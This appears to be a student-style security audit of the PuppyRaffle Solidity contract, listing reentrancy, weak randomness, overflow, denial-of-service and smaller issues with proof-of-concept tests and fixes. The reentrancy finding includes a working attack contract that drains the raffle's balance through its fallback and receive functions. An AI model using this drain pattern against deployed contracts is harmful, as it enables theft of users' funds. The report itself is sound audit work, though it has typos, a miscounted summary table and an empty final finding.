Protocol Audit Report

Version 1.0

mafa

October 21, 2025

Protocol Audit Report

mafa

Oct 21, 2025

Prepared by: mafa

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
    - [H-2] Weak randomness is `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the wining puppy.
    - [H-3] Interger overflow of `PupplyRaffle::totalFees` loses fees
  - Medium

  - [M-1] Looping through the players array to check the duplicates in `PuppyRaffle::enterRaffle` is a potential debial of service (DOS) attack, incrementing gas costs for future entrants
  - [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
  - [G-1] Unchanged state variable should be declared constant or immutable
  - [G-2] storage variable in a loop should be cached
  - [G-3] `PuppyRaffle::_isActivePlayer`is never used and should be removed
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Using an outdated version of Solidity is not recommand
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PippyRaffle::selectWinner` does not follow CEI, which is not a best practise
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] state changes are missing events

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Mafa team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
 -- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	6
Gas	2
Total	14

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The PuppyRaffle::refundfunction does not follow CEI (Checks, Effects,Interaction) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refundfunction, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::playersarray.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>       players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has enteredn the raffle could have a fallback/receive function that calls the

`PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attack calls `PuppyRaffle::refund` from their attack contract, draning the contract balance

Proof of Codes

Code

place the following into `PuppyRaffle.t.sol`

```
function test_ReentracyRefund() public{
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentracyAttack attackContract = new ReentracyAttack(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, entranceFee);

        uint256 startingAttackContractBalance = address(attackContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackContract.attack{value: entranceFee}();

        console.log("starting Attack Contrac Balance:", startingAttackContractBalance);
        console.log("starting Contract Balance:", startingContractBalance);

        console.log("ending Attack Contrac Balance:", address(attackContract).balance);
        console.log("ending Contract Balance:",address(puppyRaffle).balance);
    }
```

And this contract as well.

```
contract ReentracyAttack{
    PuppyRaffle puppyRaffle;
    uint256 entraceFee;
    uint256 attackIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entraceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entraceFee}(players);

        attackIndex= puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackIndex);
    }

    function _stealMoney() internal{
        if (address(puppyRaffle).balance >= entraceFee){
            puppyRaffle.refund(attackIndex);
        }
    }

    fallback() external payable{
        if (address(puppyRaffle).balance >= entraceFee){
            puppyRaffle.refund(attackIndex);
        }
    }

    receive() external payable{
        _stealMoney();
    }

}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund`function update the `players` array before making the external call.Additionally, we should move the event emission up as well

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);

-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness is `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the wining puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty`together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate user values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins thw raffle

Proof of Concept: 1. Validators can know ahead of the the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao `block.difficulty` was replaces with prevrandao. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Interger overflow of `PupplyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows

```
uint64 myVar = type(uint64).max;
//18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::SelectWinner`, `totalFees`are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. we conclude a raffle of 4 players
2. we then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees`will be :

```
totalFees= totalFees + uint64(fee);
totalFees = 800000000000000000 + 17800000000000000000
//and this will overflow!
totalFees= 153255926290338384
```

4. you will not be able to withdraw, due to the line in `PuppRaffle::withdrawFees`

```
        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some Point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: there are a few possible mitigations 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppleRaffle::totalFees` 2. You could also use the `SafeMath` library of Openzepplin for version 0.7.6 of solidity, however you would sti;; have a hard time with the `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through the players array to check the duplicates in `PuppyRaffle::enterRaffle` is a potential debial of service (DOS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players`array is ,the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be automatically lower than those who enter later.Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DOS Attack
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players`array so big, that no one else enters, guarteeing themselves the win.

Proof of Concept: if we have 2 sets of 100 players enter, the cost of gas: - first 100 players: 6503272 - second 100 players: 18995512

This is more tha 3x more expensive for the second 100 players

Proof of code

place the following test into `puppyRaffleTest.t.sol`

```
        function test_denialOfService() public {
        vm.txGasPrice(1);//set the gas price for testing

        //lets enter 100 players
        uint256 playerNum =100;
        address[] memory players = new address[](playerNum);
        for (uint256 i=0;i<playerNum;i++){
            players[i] = address(i);//create 100 address
        }
        //see how much gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*playerNum}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd)*tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);

        //now for the second players
        address[] memory playersTwo = new address[](playerNum);
        for (uint256 i=0;i<playerNum;i++){
            playersTwo[i] = address(i+playerNum);//create 100 address
        }
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*playerNum}(playersTwo );
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedSecond = (gasStartTwo - gasEndTwo)*tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedSecond);

        assert(gasUsedFirst<gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prvent the same person from entering multiple times, only the same wallet address.

2. COnsider using a mapping to check for duplicates. This would allow constant time lookup wether a user has already entered.

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart cintract wallet that rejects payment, the lottery would not be able to restart. Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset get very challenging.

Impact: The `PuppyRaffle::selectWinner`function could revert many times, making a lottery reset difficult.

Also，true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function would’t work, even though the lottery is over!

Recommended Mitigation: There are a fev options to mitigate this issue. 1. Do not allow smart contract entrants (not recommend) 2. Create a mapping of address-> payout amount, so winner can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.(recommended)

> pull over push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a palyer is in the `PuppyRaffle::players` array at 0 , this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommdation would be to revert if the player is not in the array instead of returning 0. you could also reserve the 0th Position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variable should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances” - `PuppyRaffle::raffleDuration` should be immutable. - `PuppyRaffle:commonImageUri` should be constant. - `PuppyRaffle:rareImageUri` should be constant. - `PuppyRaffle:legendaryImageUri` should be constant.

[G-2] storage variable in a loop should be cached

Everytime you call `players.length` you read from storage,as oppsed to memory which is more gas efficient

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-          for (uint256 j = i + 1; j < players.length; j++) {
+          for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

[G-3] `PuppyRaffle::_isActivePlayer`is never used and should be removed

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommand

please use a newer version like `0.8.18`.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

please see slither documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 215

```
        feeAddress = newFeeAddress;
```

[I-4] `PippyRaffle::selectWinner` does not follow CEI, which is not a best practise

It's best to keep code clean and follow CEI (Checks, Effects, Interaction).

```
-       (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
       _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

Example:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you can use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    UINT256 Public constant POOL_PRECISION =100
```

[I-6] state changes are missing events